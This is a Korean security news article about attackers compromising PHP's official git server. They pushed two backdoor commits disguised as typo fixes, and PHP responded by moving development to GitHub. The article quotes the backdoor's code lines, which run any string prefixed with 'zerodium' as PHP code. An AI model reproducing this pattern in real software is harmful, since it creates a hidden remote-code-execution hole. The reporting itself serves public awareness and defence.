[보안뉴스 문가용 기자] PHP의 공식 깃 서버가 해킹당했다. 정체를 알 수 없는 공격자들이 서서버에 침투한 뒤 코드 베이스에 백도어를 심어둔 것이 발견된 것이다. 이 때문에 PHP로 만들어진 모든 애플리케이션들이 감염되는 초유의 사태가 발생할 뻔했다.
[이미지 = utoimage]
공격이 발생한 건 주말 동안의 일이다. php-src 리포지터리에 두 개의 악성 커밋(commit)이 삽입되었는데, 삽입자의 계정은 PHP의 유명 개발자들인 니키타 포포브(Nikita Popov)와 라스무스 레르도프(Rasmus Lerdorf)의 것이었다. 이 커밋들은 소규모 타이포그래피 오류 수정을 위한 것처럼 위장되어 있었지만 실상은 원격 코드 실행을 가능케 해 주는 백도어였다고 한다.
포포브는 주말 동안 블로그 게시글을 통해 PHP 서버가 침해되었다는 증거가 나타나고 있다고 알렸다. “어떻게 된 일인지는 아직 정확히 알 수는 없으나 git.php.net 서버가 누군가에게 침해됐다는 사실이 점점 드러나고 있습니다. 개인의 깃 계정이 침해된 수준의 일이 아닌 것으로 보입니다.”
아직 조사가 진행 중이고, 따라서 사건의 규모와 배후 세력에 대해서 정확히 알려지지 않고 있지만 PHP 측은 중요한 결단을 이미 내린 것으로 보인다. 포포브는 블로그를 통해 “깃에다 인프라를 유지하는 것이 불필요한 위험 감수로 보인다”며 “git.php.net 서버의 서비스를 중단시키고 모든 코드를 깃허브에 곧바로 업로드할 것”이라고 발표했다. 여태까지 깃허브는 ‘미러 서버’로서만 유지되어 왔었다. 하지만 이제부터는 PHP 생태계의 중요 거점이다.
악성 코드가 공식 깃 서버에 삽입되었다는 걸 알린 건 여러 개발자들로, 두 가지 악성 커밋에서는 다음과 같은 동일한 코드 행이 발견됐다.
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
코드에 등장하는 ‘제로디움(Zerodium)’은 유명 보안 업체로, 제로데이 취약점 익스플로잇을 사들여 정부 고객들에게 되파는 사업을 한다. 하지만 이 코드에 제로디움이 언급된 이유는 아직 분명하지 않고, 제로디움의 CEO인 샤우키 베크라(Chauki Bekrar)는 “이번 사건과 제로디움인 무관하다”고 공식 발표했다. 그러면서 “누군가 제로디움에 누명을 씌우려고 시도한 것으로 보인다”고 해명했다.
이번 사건은 최근 유행하고 있는 ‘공급망 공격’의 또 다른 시도로 분석되고 있다. PHP의 코드가 제공되는 서버에 감염된 코드를 심어둠으로써, 개발자들이 이 서버로부터 코드를 가져다 쓸 때 자동으로 감염된 애플리케이션과 서비스가 생성되도록 누군가 유도했기 때문이다. 누군가 감염된 코드로 웹사이트를 만들었다면, 공격자들은 백도어를 통해 침투해 악성 코드를 원하는 대로 실시할 수 있었다.
PHP의 인프라를 공략하는 공급망 공격 시도는 2019년에도 발생한 바 있다. 2019년 초 널리 사용되고 있는 PHP 확장 프로그램 및 애플리케이션 리포지터리(PHP Extension and Application Repository)의 패키지 관리자에 누군가 악성 코드를 삽입했었다. 때문에 PHP 측은 모든 웹 페이지들을 일시적으로 폐쇄시켜야만 했다. 그러면서 당시 기준 6개월 내에 해당 패키지를 다운로드 받았단 모든 개발자들에게 ‘새 패키지를 다운로드 받으라’는 경고를 보내기도 했었다.
3줄 요약
1. PHP의 주요 인프라였던 공식 깃 서버에서 침해 사건이 발생함.
2. 누군가 유명 개발자들의 계정으로 악성 백도어를 심어두려고 했었음.
3. 이 때문에 PHP는 이제 주요 코드를 깃이 아니라 깃허브로 옮긴다고 발표.
[국제부 문가용 기자(globoan@boannews.com)]
<저작권자: 보안뉴스(www.boannews.com) 무단전재-재배포금지>